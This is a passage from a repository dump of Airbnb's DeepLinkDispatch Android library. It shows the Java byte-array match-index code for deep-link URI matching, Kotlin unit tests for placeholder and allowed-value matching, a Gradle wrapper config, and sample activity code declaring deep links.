urlElement.getValue(), pathSegmentReplacements);\n if (compareResult != null) {\n Map<String, String> placeholdersOutput = placeholders;\n // If the compareResult is not empty we found a match with a placeholder. We need to save\n // that placeholder -- and the value it was placeholding for -- in a map and possibly\n // hand it down to the next level of recursion.\n if (!compareResult.getPlaceholderValue().isEmpty()) {\n // We need to have a new HashMap for every partial match to make sure that the\n // placeholders found in other partial matches do not overlap with the actual final match.\n placeholdersOutput = new HashMap<>(placeholders != null ? placeholders\n : Collections.emptyMap());\n String[] compareParams =\n compareResult.getPlaceholderValue().split(MATCH_PARAM_DIVIDER_CHAR, -1);\n // Add the found placeholder set to the map.\n placeholdersOutput.put(compareParams[0], compareParams[1]);\n }\n // Only go and try to match the next element if we have one, or if we found an empty\n // configurable path segment then we actually will go to the child element in the index\n // but use the same element again.\n if (elementIndex < elements.size() - 1\n || compareResult.isEmptyConfigurablePathSegmentMatch()) {\n // If value matched we need to explore this elements children next.\n int childrenPos = getChildrenPos(currentElementStartPosition);\n if (childrenPos != -1) {\n // Recursively call matchUri again for the next element and with the child element\n // of the current element in the index.\n // If this element match was based on an empty configurable path segment we want to\n // \"skip\" the match and thus use the same element or the Uri for the next round.\n match = matchUri(deeplinkUri, elements, placeholdersOutput,\n compareResult.isEmptyConfigurablePathSegmentMatch() ? elementIndex : elementIndex + 1,\n childrenPos, getElementBoundaryPos(currentElementStartPosition),\n pathSegmentReplacements);\n }\n } else {\n int matchLength = getMatchLength(currentElementStartPosition);\n if (matchLength > 0) {\n match = getMatchResultFromIndex(\n matchLength,\n getMatchDataPos(currentElementStartPosition),\n deeplinkUri,\n placeholdersOutput);\n }\n }\n }\n if (match != null) {\n return match;\n }\n currentElementStartPosition = getNextElementStartPosition(currentElementStartPosition,\n parentBoundaryPos);\n } while (currentElementStartPosition != -1);\n return null;\n }\n\n @NonNull\n public List<DeepLinkEntry> getAllEntries(int elementStartPos, int parentBoundaryPos) {\n List<DeepLinkEntry> resultList = new ArrayList();\n int currentElementStartPosition = elementStartPos;\n do {\n int matchLength = getMatchLength(currentElementStartPosition);\n if (matchLength > 0) {\n resultList.add(getDeepLinkEntryFromIndex(byteArray,\n matchLength,\n getMatchDataPos(currentElementStartPosition)));\n }\n if (getChildrenPos(currentElementStartPosition) != -1) {\n resultList.addAll(getAllEntries(getChildrenPos(currentElementStartPosition),\n getElementBoundaryPos(currentElementStartPosition)));\n }\n currentElementStartPosition = getNextElementStartPosition(currentElementStartPosition,\n parentBoundaryPos);\n } while (currentElementStartPosition != -1);\n return resultList;\n }\n\n @Nullable\n public DeepLinkMatchResult\n getMatchResultFromIndex(int matchLength,\n int matchStartPosition,\n @NonNull DeepLinkUri deeplinkUri,\n @NonNull Map<String, String> placeholdersOutput) {\n DeepLinkEntry deeplinkEntry = getDeepLinkEntryFromIndex(byteArray,\n matchLength,\n matchStartPosition);\n if (deeplinkEntry == null) return null;\n return new DeepLinkMatchResult(\n deeplinkEntry,\n Collections.singletonMap(deeplinkUri, placeholdersOutput));\n }\n\n @Nullable\n private static DeepLinkEntry getDeepLinkEntryFromIndex(@NonNull byte[] byteArray,\n int matchLength,\n int matchStartPosition) {\n if (matchLength == 0) {\n return null;\n }\n int position = matchStartPosition;\n MatchType matchType = MatchType.fromInt(readOneByteAsInt(byteArray, position));\n position += MATCH_DATA_TYPE_LENGTH;\n int urlTemplateLength = readTwoBytesAsInt(byteArray, position);\n position += MATCH_DATA_URL_TEMPLATE_LENGTH;\n String urlTemplate = getStringFromByteArray(byteArray, position, urlTemplateLength);\n position += urlTemplateLength;\n int classLength = readTwoBytesAsInt(byteArray, position);\n position += MATCH_DATA_CLASS_LENGTH;\n String className = getStringFromByteArray(byteArray, position, classLength);\n position += classLength;\n int methodLength = readOneByteAsInt(byteArray, position);\n String methodName = null;\n if (methodLength > 0) {\n position += MATCH_DATA_METHOD_LENGTH;\n methodName = getStringFromByteArray(byteArray, position, methodLength);\n }\n switch (matchType) {\n case Activity:\n return new DeepLinkEntry.ActivityDeeplinkEntry(urlTemplate, className);\n case Method:\n return new DeepLinkEntry.MethodDeeplinkEntry(urlTemplate, className, methodName);\n case Handler:\n return new DeepLinkEntry.HandlerDeepLinkEntry(urlTemplate, className);\n default:\n throw new IllegalStateException(\"Unhandled match type: \" + matchType);\n }\n }\n\n /**\n * @param elementStartPos The start position of the element to compare\n * @param inboundUriComponentType A flag for the URI component type of the inboundValue to\n * compare (like scheme, host, or path segment)\n * @param inboundValue The byte array of the inbound URI\n * @return An instance of {@link CompareResult} if the type, length and inboundValue of the\n * element staring at elementStartPos is the same as the inboundValue given in in the parameter,\n * null otherwise.\n * More details of the match are contained in {@link CompareResult}.\n */\n @Nullable\n private CompareResult compareValue(int elementStartPos,\n byte inboundUriComponentType, @NonNull byte[]\n inboundValue, Map<byte[], byte[]> pathSegmentReplacements) {\n // Placeholder always matches\n int valueStartPos = elementStartPos + HEADER_LENGTH;\n NodeMetadata nodeMetadata = new NodeMetadata(byteArray[elementStartPos]);\n\n //Opportunistically skip doing more operations on this node if we can infer it will not match\n //based on URIComponentType\n if (nodeMetadata.isComponentTypeMismatch(inboundUriComponentType)) return null;\n\n int valueLength = getValueLength(elementStartPos);\n boolean isValueLengthMismatch = valueLength != inboundValue.length;\n if (isValueLengthMismatch && nodeMetadata.isValueLiteralValue) {\n //Opportunistically skip this node if the comparator's lengths mismatch.\n return null;\n }\n\n if (nodeMetadata.isComponentParam) {\n return compareComponentParam(valueStartPos, valueLength, inboundValue, VARIABLE_DELIMITER);\n } else if (nodeMetadata.isConfigurablePathSegment) {\n return compareConfigurablePathSegment(inboundValue, pathSegmentReplacements, valueStartPos,\n valueLength);\n } else {\n return arrayCompare(byteArray, valueStartPos, valueLength, inboundValue);\n }\n }\n\n private CompareResult arrayCompare(byte[] byteArray,\n int startPos,\n int length,\n byte[] compareValue) {\n if (length != compareValue.length) {\n return null;\n }\n for (int i = 0; i < length; i++) {\n if (compareValue[i] != byteArray[startPos + i]) return null;\n }\n return new CompareResult(\"\", false);\n }\n\n @Nullable\n private CompareResult compareConfigurablePathSegment(@NonNull byte[] inboundValue,\n Map<byte[], byte[]> pathSegmentReplacements,\n int valueStartPos, int valueLength) {\n byte[] replacementValue = null;\n for (Map.Entry<byte[], byte[]> pathSegmentEntry : pathSegmentReplacements.entrySet()) {\n if (arrayCompare(byteArray, valueStartPos, valueLength, pathSegmentEntry.getKey()) != null) {\n replacementValue = pathSegmentEntry.getValue();\n }\n }\n if (replacementValue == null) {\n return null;\n }\n if (replacementValue.length == 0) {\n return new CompareResult(\"\", true);\n }\n if (arrayCompare(inboundValue, 0, inboundValue.length, replacementValue) != null) {\n return new CompareResult(\"\", false);\n } else {\n return null;\n }\n }\n\n @Nullable\n private CompareResult compareComponentParam(\n int valueStartPos, int valueLength, @NonNull byte[] valueToMatch, char[] delimiter\n ) {\n int valueToMatchLength = valueToMatch.length;\n if ((\n //Per com.airbnb.deeplinkdispatch.DeepLinkEntryTest.testEmptyParametersNameDontMatch\n //We should not return a match if the param (aka placeholder) is empty.\n byteArray[valueStartPos] == delimiter[0] && byteArray[valueStartPos + 1] == delimiter[1]\n ) || (\n //Per com.airbnb.deeplinkdispatch.DeepLinkEntryTest.testEmptyPathPresentParams\n //We expect an empty path to not be a match\n valueToMatchLength == 0\n )) {\n return null;\n }\n // i index over valueToMatch array forward\n // j index over search byte arrays valueToMatch element forward\n // k index over valueToMatch array backward\n for (int i = 0; i < valueToMatchLength; i++) {\n // Edge case. All chars before placeholder match. And there are no more chars left in\n // input string. But there are still chars left in value. In that case we need to look\n // at the rest of the value as there might chars after the placeholder (e.g. pre{ph}post)\n //or a placeholder that matches the empty string. e.g.\n boolean fullyMatchedButThereAreMoreCharsInValue =\n byteArray[valueStartPos + i] == valueToMatch[i]\n && i == valueToMatchLength - 1\n && valueLength > valueToMatchLength;\n if (byteArray[valueStartPos + i] == delimiter[0] || fullyMatchedButThereAreMoreCharsInValue) {\n // Until here every char in front for the placeholder matched.\n // Now let's see if all chars within the placeholder also match.\n for (int j = valueLength - 1, k = valueToMatchLength - 1; j >= 0; j--, k--) {\n if (byteArray[valueStartPos + j] == delimiter[1]) {\n // In chase we already matched all chars from valueToMatch but there are are more chars\n // in the value inside the value array, we technically are in the next loop but need\n // to be careful as using this to access valueToMatch[] will produce AIOOB!\n if (fullyMatchedButThereAreMoreCharsInValue) {\n i++;\n }\n // Text within the placeholder fully matches. Now we just need to get the placeholder\n // string and can return.\n byte[] placeholderValue = new byte[k - i + 1];\n // Size is without braces\n byte[] placeholderName = new byte[(valueStartPos + j) - (valueStartPos + i) - 1];\n System.arraycopy(valueToMatch,\n i, placeholderValue, 0, placeholderValue.length);\n System.arraycopy(byteArray,\n valueStartPos + i + 1, placeholderName, 0, placeholderName.length);\n // If the placeholder name has an allowed values field check if the value found is in\n // there, otherwise this is not a match.\n int beginAllowedValues = verifyAllowedValues(placeholderName, placeholderValue);\n if (beginAllowedValues > -1) {\n byte[] placeholderValueWithoutAllowedValues;\n if (beginAllowedValues == Integer.MAX_VALUE) {\n placeholderValueWithoutAllowedValues = placeholderName;\n } else {\n placeholderValueWithoutAllowedValues =\n Arrays.copyOfRange(placeholderName, 0, beginAllowedValues);\n }\n return new CompareResult(\n new String(placeholderValueWithoutAllowedValues) + MATCH_PARAM_DIVIDER_CHAR\n + new String(placeholderValue), false);\n } else return null;\n }\n // We do the comparison from the back. If the value in the index (before the placeholder\n // starts) is longer than valueToMatch we need to abort.\n // e.g. template value: \"{something}longer\" and valueToMatch: \"onger\". As we compare\n // from back all the chars match but the template value is longer so as soon as we reach\n // the end of valueToMatch before we reach the placeholder end char we need to abort.\n if (k < 0 || byteArray[valueStartPos + j] != valueToMatch[k]) {\n return null;\n }\n }\n }\n if (byteArray[valueStartPos + i] != valueToMatch[i]) {\n return null; // Does not match\n }\n }\n return new CompareResult(\"\", false); // Matches but is no placeholder\n }\n\n /**\n * Check if this placholder has an allowed values field and if so check if the matched value\n * is allowed.\n *\n * @param placeholderName The placeholder name (as it appears between the\n * VARIABLE_DELIMITER)\n * @param matchedPlaceholderValue The matched placeholder value.\n * @return MAX_INT if there is no valid allowed values field in the placeholderName or position\n * of allowed placeholder value if the matched value is allowed, -1 otherwise.\n */\n private int verifyAllowedValues(byte[] placeholderName, byte[] matchedPlaceholderValue) {\n int beginAllowedValues = charPos(placeholderName, ALLOWED_VALUES_DELIMITER[0]);\n // No allowed values so this check is true\n if (beginAllowedValues == -1) return Integer.MAX_VALUE;\n int endAllowedValues = charPos(placeholderName, ALLOWED_VALUES_DELIMITER[1]);\n if (beginAllowedValues > endAllowedValues) return Integer.MAX_VALUE;\n String[] allowedValues = new String(\n Arrays.copyOfRange(placeholderName,\n beginAllowedValues + 1,\n endAllowedValues)).split(ALLOWED_VALUES_SEPARATOR_REGEX_STRING);\n if (Arrays.binarySearch(allowedValues, new String(matchedPlaceholderValue)) > -1) {\n return beginAllowedValues;\n }\n return -1;\n }\n\n private int charPos(byte[] byteArray, char value) {\n if (byteArray == null) return -1;\n for (int i = 0; i < byteArray.length; i++) {\n if (byteArray[i] == value) {\n return i;\n }\n }\n return -1;\n }\n\n /**\n * Get the next entries position, or -1 if there are no further entries.\n *\n * @param elementStartPos The start position of the current element.\n * @param parentBoundaryPos The parent elements boundry (i.e. the first elementStartPos that is\n * not part of the parent element anhymore)\n * @return The next entries position, or -1 if there are no further entries.\n */\n private int getNextElementStartPosition(int elementStartPos, int parentBoundaryPos) {\n int nextElementPos = getElementBoundaryPos(elementStartPos);\n if (nextElementPos == parentBoundaryPos) {\n // This was the last element\n return -1;\n } else {\n return nextElementPos;\n }\n }\n\n /**\n * The elements boundary is the first elementStartPos that is not part of the parent element\n * anymore.\n *\n * @param elementStartPos The start position of the current element.\n * @return The first elementStartPos that is not part of the parent element anymore.\n */\n private int getElementBoundaryPos(int elementStartPos) {\n return getMatchDataPos(elementStartPos)\n + getMatchLength(elementStartPos)\n + getChildrenLength(elementStartPos);\n }\n\n /**\n * Get the position of the children element of the element starting at elementStartPos.\n *\n * @param elementStartPos The start position of the element to get the children for\n * @return children pos or -1 if there are no children.\n */\n private int getChildrenPos(int elementStartPos) {\n if (getChildrenLength(elementStartPos) == 0) {\n return -1;\n } else {\n return getMatchDataPos(elementStartPos)\n + getMatchLength(elementStartPos);\n }\n }\n\n /**\n * The position of the match data section of the element starting at elementStartPos.\n * <p>\n * Note: The can be 0 length in which case getMatchDataPosition() and getChildrenPos() will\n * return the same value.\n *\n * @param elementStartPos Starting position of element to process.\n * @return The position of the match data sub array for the given elementStartPos.\n */\n private int getMatchDataPos(int elementStartPos) {\n return elementStartPos\n + HEADER_LENGTH\n + getValueLength(elementStartPos);\n }\n\n /**\n * The length of the value element of the element starting at elementStartPos.\n *\n * @param elementStartPos Starting position of element to process\n * @return The length of the value section of this element.\n */\n private int getValueLength(int elementStartPos) {\n return readTwoBytesAsInt(\n byteArray, elementStartPos\n + HEADER_NODE_METADATA_LENGTH\n );\n }\n\n /**\n * The length of the match section of the element starting at elementStartPos.\n *\n * @param elementStartPos Starting position of element to process\n * @return The length of the match section of this element.\n */\n private int getMatchLength(int elementStartPos) {\n return readTwoBytesAsInt(\n byteArray, elementStartPos\n + HEADER_NODE_METADATA_LENGTH\n + HEADER_VALUE_LENGTH\n );\n }\n\n /**\n * The length of the children section of the element starting at elementStartPos.\n *\n * @param elementStartPos Starting position of element to process\n * @return The length of the children section of this element.\n */\n private int getChildrenLength(int elementStartPos) {\n return readFourBytesAsInt(\n byteArray, elementStartPos\n + HEADER_NODE_METADATA_LENGTH\n + HEADER_VALUE_LENGTH\n + HEADER_MATCH_LENGTH\n );\n }\n\n public int length() {\n return byteArray.length;\n }\n\n private static int readOneByteAsInt(byte[] byteArray, int pos) {\n return byteArray[pos] & 0xFF;\n }\n\n private static int readTwoBytesAsInt(byte[] byteArray, int pos) {\n return (readOneByteAsInt(byteArray, pos)) << 8\n | (readOneByteAsInt(byteArray, pos + 1));\n }\n\n private static int readFourBytesAsInt(byte[] byteArray, int pos) {\n return (readOneByteAsInt(byteArray, pos)) << 24\n | (readOneByteAsInt(byteArray, pos + 1)) << 16\n | (readOneByteAsInt(byteArray, pos + 2)) << 8\n | (readOneByteAsInt(byteArray, pos + 3));\n }\n\n @Nullable\n private static String getStringFromByteArray(byte[] byteArray, int start, int length) {\n byte[] stringByteAray = new byte[length];\n System.arraycopy(byteArray, start, stringByteAray, 0, length);\n try {\n return new String(stringByteAray, \"utf-8\");\n } catch (UnsupportedEncodingException e) {\n // Cannot be reached.\n }\n return null;\n }\n\n /**\n * Get filename for match index.\n *\n * @param moduleName The module name the match index is for.\n * @return The filename used to store the match index.\n */\n public static @NonNull\n String getMatchIdxFileName(@NonNull String moduleName) {\n return \"dld_match_\" + moduleName.toLowerCase() + \".idx\";\n }\n}\n", "deeplinkdispatch-base\\src\\test\\java\\com\\airbnb\\deeplinkdispatch\\MatchIndexTests.kt": "package com.airbnb.deeplinkdispatch\n\nimport org.assertj.core.api.Assertions.assertThat\nimport org.junit.Test\n\[email protected]\nclass MatchIndexTests {\n\n private val entryWithAllowedValues = DeepLinkEntry.MethodDeeplinkEntry(\"http{scheme(|s)}://www.example.{tld(de|fr)}/somePath1/differentPath2\", MatchIndexTests::class.java.name, \"someMethod10\")\n private val entryWithAllowedValueOnlyOneElement = DeepLinkEntry.MethodDeeplinkEntry(\"http{scheme(s)}://www.justtesting.com/somePath\", MatchIndexTests::class.java.name, \"someMethod10\")\n private val entryWithEmptyAllowedValue = DeepLinkEntry.MethodDeeplinkEntry(\"http{scheme()}://www.anothertest.com/somePath\", MatchIndexTests::class.java.name, \"someMethod10\")\n private val entryWithAllowedValueAndLongerValueThan = DeepLinkEntry.MethodDeeplinkEntry(\"scheme://{some_value(allowed|values)}somethinglonger/one/{param}/three\", MatchIndexTests::class.java.name, \"someMethod10\")\n\n private val allowedValuesPlaceholderNames = setOf(\"scheme\", \"tld\")\n\n private val testEntries: List<DeepLinkEntry> = listOf(\n DeepLinkEntry.MethodDeeplinkEntry(\"http://www.example.com/somePath1/differentPath2\", MatchIndexTests::class.java.name, \"someMethod1\"),\n DeepLinkEntry.MethodDeeplinkEntry(\"https://www.example.com/path1/path2\", MatchIndexTests::class.java.name, \"someMethod2\"),\n DeepLinkEntry.MethodDeeplinkEntry(\"dld://dldPath1/dldPath2\", MatchIndexTests::class.java.name, \"someMethod3\"),\n DeepLinkEntry.MethodDeeplinkEntry(\"http://example.de/\", MatchIndexTests::class.java.name, \"someMethod4\"),\n DeepLinkEntry.MethodDeeplinkEntry(\"http://example.com/path1\", MatchIndexTests::class.java.name, \"someMethod7\"),\n DeepLinkEntry.MethodDeeplinkEntry(\"http://example.com/somethingElse\", MatchIndexTests::class.java.name, \"someMethod9\"),\n DeepLinkEntry.MethodDeeplinkEntry(\"http://example.com/path1/pathElement2/path3\", MatchIndexTests::class.java.name, \"someMethod5\"),\n DeepLinkEntry.MethodDeeplinkEntry(\"http://example.com/path1/someOtherPathElement2\", MatchIndexTests::class.java.name, \"someMethod6\"),\n DeepLinkEntry.MethodDeeplinkEntry(\"http://example.com/\", MatchIndexTests::class.java.name, \"someMethod8\"),\n entryWithAllowedValues,\n entryWithAllowedValueOnlyOneElement,\n entryWithAllowedValueAndLongerValueThan\n ).sortedBy { it.uriTemplate }\n\n @Test\n fun testMatchWithPlaceholderThatEndsInSegmentWithLongerMatch() {\n // This is testing a condition where an URL segment (in this case the host) has a placeholder with allowed values\n // in the template and is matching (from the back) to what is in the to be matched URL, where the entry in the template\n // is matching but longer (and thus not matching) before the placeholder starts (from the back).\n // In this case the host is it like this:\n // template host: {some_value(allowed|values)}somethinglonger\n // to match host: longer\n val deepLinkUri = DeepLinkUri.parse(\"scheme://longer/one/param/three\")\n val matchEntry = testRegistry(testEntries).idxMatch(deepLinkUri, emptyMap())\n assertThat(matchEntry).isNull()\n }\n\n @Test\n fun testGetAllEntries() {\n val allEntries = testRegistry(testEntries).getAllEntries().sortedBy { it.uriTemplate }\n assertThat(allEntries).isEqualTo(testEntries)\n }\n\n @Test\n fun testMatchWithAllowedValuesInPlaceholders() {\n val deepLinkUri = DeepLinkUri.parse(\"https://www.example.de/somePath1/differentPath2\")\n val matchEntry = testRegistry(testEntries).idxMatch(deepLinkUri, emptyMap())\n assertThat(matchEntry).isNotNull\n assertThat(matchEntry?.deeplinkEntry).isEqualTo(entryWithAllowedValues)\n assertThat(matchEntry?.parameterMap?.get(deepLinkUri)?.keys).isEqualTo(allowedValuesPlaceholderNames)\n }\n\n @Test\n fun testMatchWithAllowedValuesInPlaceholdersMatch() {\n val matchEntry = testRegistry(testEntries).idxMatch(DeepLinkUri.parse(\"http://www.example.de/somePath1/differentPath2\"), emptyMap())\n assertThat(matchEntry).isNotNull\n assertThat(matchEntry?.deeplinkEntry).isEqualTo(entryWithAllowedValues)\n }\n\n @Test\n fun testMatchWithAllowedValuesInPlaceholdersOnlyOneElementMatch() {\n val matchEntry = testRegistry(testEntries).idxMatch(DeepLinkUri.parse(\"https://www.justtesting.com/somePath\"), emptyMap())\n assertThat(matchEntry).isNotNull\n assertThat(matchEntry?.deeplinkEntry).isEqualTo(entryWithAllowedValueOnlyOneElement)\n val matchEntry1 = testRegistry(testEntries).idxMatch(DeepLinkUri.parse(\"http://www.justtesting.com/somePath\"), emptyMap())\n assertThat(matchEntry1).isNull()\n }\n\n @Test\n fun testMatchWithEmptyAllowedValuesInElementMatch() {\n val matchEntry = testRegistry(testEntries).idxMatch(DeepLinkUri.parse(\"http://www.anothertest.com/somePath\"), emptyMap())\n assertThat(matchEntry).isNull()\n val matchEntry1 = testRegistry(testEntries).idxMatch(DeepLinkUri.parse(\"https://www.anothertest.com/somePath\"), emptyMap())\n assertThat(matchEntry1).isNull()\n }\n\n @Test\n fun testNoMatchWithAllowedValuesInPlaceholders() {\n val matchEntry1 = testRegistry(testEntries).idxMatch(DeepLinkUri.parse(\"https://www.example.co.uk/somePath1/differentPath2\"), emptyMap())\n assertThat(matchEntry1).isNull()\n val matchEntry2 = testRegistry(testEntries).idxMatch(DeepLinkUri.parse(\"httpx://www.example.de/somePath1/differentPath2\"), emptyMap())\n assertThat(matchEntry2).isNull()\n }\n\n @Test\n fun testWithLongerThan256CharUrlSegment() {\n val testRegistry = testRegistry(\n listOf(\n DeepLinkEntry.MethodDeeplinkEntry(\n uriTemplate = \"http{scheme_suffix(|s)}://testing.{url_domain_suffix(com|just|a|very|long|list|of|words|that|are|technically|not|domains|so|that|we|make|it|over|256|characters|to|test|how|this|deals|with|longer|urls|that|would|otherwise|cause|an|array|index|out|of|bounds|exception|within|the|match|index|itself)}/\",\n className = Object::class.java.name,\n method = \"someMethod1\"\n ),\n )\n )\n assertThat(testRegistry.supports(DeepLinkUri.parse(\"https://testing.com/\"))).isTrue()\n }\n}\n", "gradle\\wrapper\\gradle-wrapper.properties": "#Mon Nov 18 16:19:47 PST 2019\ndistributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-7.6.1-all.zip\n", "sample\\src\\main\\java\\com\\airbnb\\deeplinkdispatch\\sample\\AppDeepLink.java": "package com.airbnb.deeplinkdispatch.sample;\n\nimport com.airbnb.deeplinkdispatch.DeepLinkSpec;\n\n@DeepLinkSpec(prefix = { \"app://airbnb\" })\npublic @interface AppDeepLink {\n String[] value();\n}\n\n", "sample\\src\\main\\java\\com\\airbnb\\deeplinkdispatch\\sample\\MainActivity.kt": "/*\n * Copyright (C) 2015 Airbnb, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.airbnb.deeplinkdispatch.sample\n\nimport android.content.Context\nimport android.content.Intent\nimport android.os.Bundle\nimport android.util.Log\nimport android.widget.Toast\nimport androidx.appcompat.app.AppCompatActivity\nimport androidx.core.app.ActivityCompat\nimport androidx.core.app.TaskStackBuilder\nimport com.airbnb.deeplinkdispatch.DeepLink\nimport com.airbnb.deeplinkdispatch.DeepLinkMethodResult\n\n@DeepLink(\n \"dld://classDeepLink\",\n \"http://example.com/foo{arg_end}\",\n \"http://example.com/{arg_start}bar\",\n \"dld://example.com/deepLink\",\n \"https://www.example.com/<configurable-path-segment>/bar\",\n \"https://www.example.com/<configurable-path-segment-one>/<configurable-path-segment-two>/foo\",\n \"https://www.example.com/cereal/<configurable-path-segment>\",\n \"https://www.example.com/nothing-special\"\n)\nclass MainActivity : AppCompatActivity() {\n\n object InnerClass {\n @DeepLink(\"dld://innerClassDeeplink\")\n @JvmStatic\n fun intentForDeepLinkMethod(context: Context): Intent {\n return Intent(context, MainActivity::class.java).setAction(ACTION_DEEP_LINK_INNER)\n }\n }\n\n override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n setContentView(R.layout.sample_activity_main)\n val intent = intent\n if (intent.getBooleanExtra(DeepLink.IS_DEEP_LINK, false)) {\n var toastMessage: String\n val parameters = intent.extras\n Log.d(TAG, \"Deeplink params: $parameters\")\n toastMessage = if (ACTION_DEEP_LINK_METHOD == intent.action) {\n \"method with param1:\" + parameters!!.getString(\"param1\")\n } else if (ACTION_DEEP_LINK_COMPLEX == intent.action) {\n parameters?.getString(\"arbitraryNumber\").orEmpty()\n } else if (ACTION_DEEP_LINK_INNER == intent.action) {\n \"Deeplink on method in inner class\"\n } else if (parameters!!.containsKey(\"arg\")) {\n \"class and found arg:\" + parameters.getString(\"arg\")\n } else {\n \"class\"\n }\n\n // You can pass a query parameter with the URI, and it's also in parameters, like\n // dld://classDeepLink?qp=123\n if (parameters!!.containsKey(\"qp\")) {\n toastMessage += \" with query parameter \" + parameters.getString(\"qp\")\n }\n val referrer = ActivityCompat.getReferrer(this)\n if (referrer != null) {\n toastMessage += \" and referrer: $referrer\"\n }\n showToast(toastMessage)\n }\n }\n\n private fun showToast(message: String?) {\n Toast.makeText(this, \"Deep Link: $message\", Toast.LENGTH_SHORT).show()\n }\n\n companion object {\n const val ACTION_DEEP_LINK_METHOD = \"deep_link_method\"\n const val ACTION_DEEP_LINK_COMPLEX = \"deep_link_complex\"\n const val ACTION_DEEP_LINK_INNER = \"deep_link_inner\"\n const val ACTION_DEEP_LINK_INTENT = \"deep_link_intent\"\n const val ACTION_DEEP_LINK_TASK_STACK_BUILDER = \"deep_link_taskstackbuilder\"\n const val ACTION_DEEP_LINK_INTENT_AND_TASK_STACK_BUILDER =\n \"deep_link_intent_and_taskstackbuilder\"\n val TAG = MainActivity::class.java.simpleName\n }\n}\n\nobject MainActivityDeeplinks {\n /**\n * Handles deep link with one param, doc does not contain \"param\"\n * @return A intent to start [MainActivity]\n */\n @DeepLink(\"dld://methodDeepLink/{param1}\")\n @JvmStatic\n fun intentForDeepLinkMethod(context: Context?): Intent {\n return Intent(\n context,\n MainActivity::class.java\n ).setAction(MainActivity.ACTION_DEEP_LINK_METHOD)\n }\n\n @DeepLink(\"dld://methodDeepLinkOverride/{param1}\")\n @JvmStatic\n fun intentForDeepLinkMethodOverrideParam(context: Context?): Intent {\n return Intent(context, MainActivity::class.java)\n .setAction(MainActivity.ACTION_DEEP_LINK_INTENT)\n .putExtra(\"param1\", \"set_in_app\")\n .putExtra(\"queryParam\", \"set_in_app\")\n }\n\n @DeepLink(\"dld://host/somePath/{arbitraryNumber}\")\n @JvmStatic\n fun intentForParamDeepLinkMethod(context: Context?): Intent {\n return Intent(\n context,\n MainActivity::class.java\n ).setAction(MainActivity.ACTION_DEEP_LINK_COMPLEX)\n }\n\n /**\n * Handles deep link with params.\n * @param context of the activity\n * @param bundle expected to contain the key `qp`.\n * @return TaskStackBuilder set with first intent to start [MainActivity] and second intent\n * to start [SecondActivity].\n */\n @DeepLink(\"http://example.com/deepLink/{id}/{name}/{place}\")\n @JvmStatic\n fun intentForTaskStackBuilderMethods(\n context: Context,\n bundle: Bundle?\n ): TaskStackBuilder {\n Log.d(MainActivity.TAG, \"without query parameter :\")\n if (bundle != null && bundle.containsKey(\"qp\")) {\n Log.d(\n MainActivity.TAG,\n \"found new parameter :with query parameter :\" + bundle.getString(\"qp\")\n )\n }\n return getTaskStackBuilder(context, MainActivity.ACTION_DEEP_LINK_COMPLEX)\n }\n\n private fun getTaskStackBuilder(context: Context, action: String): TaskStackBuilder {\n val detailsIntent = Intent(context, SecondActivity::class.java).setAction(action)\n val parentIntent = Intent(context, MainActivity::class.java).setAction(action)\n val taskStackBuilder = TaskStackBuilder.create(context)\n taskStackBuilder.addNextIntent(parentIntent)\n taskStackBuilder.addNextIntent(detailsIntent)\n return taskStackBuilder\n }\n\n @DeepLink(\"dld://host/somePathOne/{arbitraryNumber}/otherPath\")\n @JvmStatic\n fun intentForComplexMethod(context: Context?, bundle: Bundle?): Intent {\n if (bundle != null && bundle.containsKey(\"qp\")) {\n Log.d(\n MainActivity.TAG,\n \"found new parameter :with query parameter :\" + bundle.getString(\"qp\")\n )\n }\n return Intent(context, MainActivity::class.java)\n }\n\n @DeepLink(\"dld://host/methodResult/intent\")\n @JvmStatic\n fun intentViaDeeplinkMethodResult(context: Context?): DeepLinkMethodResult {\n return DeepLinkMethodResult(\n Intent(context, SecondActivity::class.java)\n .setAction(MainActivity.ACTION_DEEP_LINK_INTENT),\n null\n )\n }\n\n @DeepLink(\"dld://host/methodResultFinalParameter/intent\")\n @JvmStatic\n fun intentViaDeeplinkMethodResultWithFinalParameter(context: Context?): DeepLinkMethodResult {\n return DeepLinkMethodResult(\n Intent(context, SecondActivity::class.java)\n .setAction(MainActivity.ACTION_DEEP_LINK_INTENT)\n .putExtra(\"finalExtra\", \"set in app\"),\n null\n )\n }\n\n @DeepLink(\"dld://host/methodResult/intent/{parameter}\")\n @JvmStatic\n fun intentViaDeeplinkMethodResult(\n context: Context?,\n parameter: Bundle?\n ): DeepLinkMethodResult {\n return DeepLinkMethodResult(\n Intent(context, SecondActivity::class.java)\n .setAction(MainActivity.ACTION_DEEP_LINK_INTENT),\n null\n )\n }\n\n @DeepLink(\"dld://host/methodResult/taskStackBuilder\")\n @JvmStatic\n fun taskStackBuilderViaDeeplinkMethodResult(context: Context): DeepLinkMethodResult {\n return DeepLinkMethodResult(\n null,\n getTaskStackBuilder(context, MainActivity.ACTION_DEEP_LINK_TASK_STACK_BUILDER)\n )\n }\n\n @DeepLink(\"dld://host/methodResult/intentAndTaskStackBuilder\")\n @JvmStatic\n fun taskStackBuilderAndIntentViaDeeplinkMethodResult(context: Context): DeepLinkMethodResult {\n return DeepLinkMethodResult(\n Intent(context, SecondActivity::class.java)\n .setAction(MainActivity.ACTION_DEEP_LINK_INTENT_AND_TASK_STACK_BUILDER),\n getTaskStackBuilder(\n context,\n MainActivity.ACTION_DEEP_LINK_INTENT_AND_TASK_STACK_BUILDER\n )\n )\n }\n\n @DeepLink(\"dld://host/methodResult/null\")\n @JvmStatic\n fun nullDeepLinkMethiodResult(context: Context?): DeepLinkMethodResult? {\n return null\n }\n\n @DeepLink(\"dld://host/taskStackBuilder/null\")\n @JvmStatic\n fun nullTaskStackBuilder(context: Context?): TaskStackBuilder? {\n return null\n }\n\n @DeepLink(\"dld://host/intent/null\")\n @JvmStatic\n fun nullIntent(context: Context?): Intent? {\n return null\n }\n\n /**\n * This will not create an error during index creation but could be found by writing a 